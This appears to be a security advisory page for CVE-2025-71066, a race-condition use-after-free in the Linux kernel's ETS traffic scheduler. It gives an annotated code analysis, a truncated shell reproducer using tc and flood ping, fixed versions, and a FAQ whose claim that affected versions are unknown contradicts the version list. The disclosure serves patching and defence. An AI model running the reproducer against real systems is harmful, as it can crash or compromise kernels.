CVE-2025-71066: net/sched: ets: Always remove class from active list before deleting in ets_qdisc_change

Published Jan 13, 2026
·
Updated

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in etsqdiscchange

zdi-disclosures says:

The vulnerability is a race condition between etsqdiscdequeue and etsqdiscchange. It leads to UAF on struct Qdisc object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.

Analysis:

static int etsqdiscchange(struct Qdisc sch, struct nlattr opt, struct netlinkextack extack) { ...

// (1) this lock is preventing .change handler (etsqdiscchange) //to race with .dequeue handler (etsqdiscdequeue) schtreelock(sch);

for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) listdelinit(&q->classes[i].alist); qdiscpurgequeue(q->classes[i].qdisc); }

WRITEONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active listaddtail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITEONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));

for (i = 0; i < q->nbands; i++) WRITEONCE(q->classes[i].quantum, quanta[i]);

for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noopqdisc) qdischashadd(q->classes[i].qdisc, true); }

// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler schtreeunlock(sch);

etsoffloadchange(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdiscput(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITEONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnetstatsbasicsyncinit(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }

Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc

Reproducer Steps (trimmed version of what was sent by zdi-disclosures)

DEV="${DEV:-lo}" ROOTHANDLE="${ROOTHANDLE:-1:}" BAND2HANDLE="${BAND2HANDLE:-20:}" # child under 1:2 PINGBYTES="${PINGBYTES:-48}" PINGCOUNT="${PINGCOUNT:-200000}" PINGDST="${PINGDST:-127.0.0.1}"

SLOWTBFRATE="${SLOWTBFRATE:-8bit}" SLOWTBFBURST="${SLOWTBFBURST:-100b}" SLOWTBFLAT="${SLOWTBFLAT:-1s}"

cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2HANDLE" \ tbf rate "$SLOWTBFRATE" burst "$SLOWTBFBURST" latency "$SLOWTBFLAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PINGCOUNT" -s "$PINGBYTES" -W 0.001 "$PINGDST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---

Other sources

In the Linux kernel, the following vulnerability has been resolved:

net/sched: ets: Always remove class from active list before deleting in etsqdiscchange

zdi-disclosures@trendmicro.com says:

The vulnerability is a race condition between etsqdiscdequeue and etsqdiscchange. It leads to UAF on struct Qdisc object. Attacker requires the capability to create new user and network namespace in order to trigger the bug. See my additional commentary at the end of the analysis.

Analysis:

static int etsqdiscchange(struct Qdisc sch, struct nlattr opt, struct netlinkextack extack) { ...

// (1) this lock is preventing .change handler (etsqdiscchange) //to race with .dequeue handler (etsqdiscdequeue) schtreelock(sch);

for (i = nbands; i < oldbands; i++) { if (i >= q->nstrict && q->classes[i].qdisc->q.qlen) listdelinit(&q->classes[i].alist); qdiscpurgequeue(q->classes[i].qdisc); }

WRITEONCE(q->nbands, nbands); for (i = nstrict; i < q->nstrict; i++) { if (q->classes[i].qdisc->q.qlen) { // (2) the class is added to the q->active listaddtail(&q->classes[i].alist, &q->active); q->classes[i].deficit = quanta[i]; } } WRITEONCE(q->nstrict, nstrict); memcpy(q->prio2band, priomap, sizeof(priomap));

for (i = 0; i < q->nbands; i++) WRITEONCE(q->classes[i].quantum, quanta[i]);

for (i = oldbands; i < q->nbands; i++) { q->classes[i].qdisc = queues[i]; if (q->classes[i].qdisc != &noopqdisc) qdischashadd(q->classes[i].qdisc, true); }

// (3) the qdisc is unlocked, now dequeue can be called in parallel // to the rest of .change handler schtreeunlock(sch);

etsoffloadchange(sch); for (i = q->nbands; i < oldbands; i++) { // (4) we're reducing the refcount for our class's qdisc and // freeing it qdiscput(q->classes[i].qdisc); // (5) If we call .dequeue between (4) and (5), we will have // a strong UAF and we can control RIP q->classes[i].qdisc = NULL; WRITEONCE(q->classes[i].quantum, 0); q->classes[i].deficit = 0; gnetstatsbasicsyncinit(&q->classes[i].bstats); memset(&q->classes[i].qstats, 0, sizeof(q->classes[i].qstats)); } return 0; }

Comment: This happens because some of the classes have their qdiscs assigned to NULL, but remain in the active list. This commit fixes this issue by always removing the class from the active list before deleting and freeing its associated qdisc

Reproducer Steps (trimmed version of what was sent by zdi-disclosures@trendmicro.com)

DEV="${DEV:-lo}" ROOTHANDLE="${ROOTHANDLE:-1:}" BAND2HANDLE="${BAND2HANDLE:-20:}" # child under 1:2 PINGBYTES="${PINGBYTES:-48}" PINGCOUNT="${PINGCOUNT:-200000}" PINGDST="${PINGDST:-127.0.0.1}"

SLOWTBFRATE="${SLOWTBFRATE:-8bit}" SLOWTBFBURST="${SLOWTBFBURST:-100b}" SLOWTBFLAT="${SLOWTBFLAT:-1s}"

cleanup() { tc qdisc del dev "$DEV" root 2>/dev/null } trap cleanup EXIT

ip link set "$DEV" up

tc qdisc del dev "$DEV" root 2>/dev/null || true

tc qdisc add dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2

tc qdisc add dev "$DEV" parent 1:2 handle "$BAND2HANDLE" \ tbf rate "$SLOWTBFRATE" burst "$SLOWTBFBURST" latency "$SLOWTBFLAT"

tc filter add dev "$DEV" parent 1: protocol all prio 1 u32 match u32 0 0 flowid 1:2 tc -s qdisc ls dev $DEV

ping -I "$DEV" -f -c "$PINGCOUNT" -s "$PINGBYTES" -W 0.001 "$PINGDST" \ >/dev/null 2>&1 & tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 0 tc qdisc change dev "$DEV" root handle "$ROOTHANDLE" ets bands 2 strict 2 tc -s qdisc ls dev $DEV tc qdisc del dev "$DEV" parent ---truncated---

— NVD

Affected Software

7 affected componentsFixes available
Linux Linux kernel
linux/kernel<5.10.248
5.10.248
linux/kernel>=5.11.0<5.15.198
5.15.198
linux/kernel>=5.16.0<6.1.160
6.1.160
linux/kernel>=6.2.0<6.12.64
6.12.64
linux/kernel>=6.7.0<6.18.3
6.18.3
debian/linux
6.1.176-16.1.190-16.12.107-16.12.115-27.2.12-17.2.15-1

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 5.10.248
  2. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 5.15.198
  3. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 6.1.160
  4. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 6.12.64
  5. Upgrade

    Upgrade linux/Kernel to a version that resolves this vulnerability.

    Fixed in 6.18.3
  6. Upgrade

    Upgrade debian/linux to a version that resolves this vulnerability.

    Fixed in 6.1.176-1Fixed in 6.1.190-1Fixed in 6.12.107-1Fixed in 6.12.113-1Fixed in 7.2.12-1Fixed in 7.2.14-1

Event History

Jan 13, 2026
CVE Published
via MITRE·03:31 PM
Data Sourced
via MITRE·03:31 PM
DescriptionSeverity
Data Sourced
via OSV·03:31 PM
DescriptionSeverityAffected Software
Data Sourced
via Red Hat·04:02 PM
DescriptionSeverityAffected Software
Data Sourced
via NVD·04:16 PM
DescriptionSeverityWeakness
Jan 15, 2026
Data Sourced
via Microsoft·09:04 AM
DescriptionSeverityWeakness

Parent advisories

This vulnerability appears in the following advisories.

Peer vulnerabilities

Found alongside the following vulnerabilities.

Frequently Asked Questions

1

What is the severity of CVE-2025-71066?

CVE-2025-71066 has been classified as a medium severity vulnerability in the Linux kernel.

2

How do I fix CVE-2025-71066?

To fix CVE-2025-71066, ensure your Linux kernel is updated to a version that includes the patch addressing this vulnerability.

3

What is the impact of CVE-2025-71066?

The impact of CVE-2025-71066 is that it can allow improper management of classes in the queuing discipline, potentially leading to denial of service.

4

Which versions of the Linux kernel are affected by CVE-2025-71066?

Currently, the specific versions of the Linux kernel affected by CVE-2025-71066 are to be determined as no exact version is specified.

5

Is CVE-2025-71066 already exploited in the wild?

As of now, there are no reported exploits in the wild for CVE-2025-71066.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203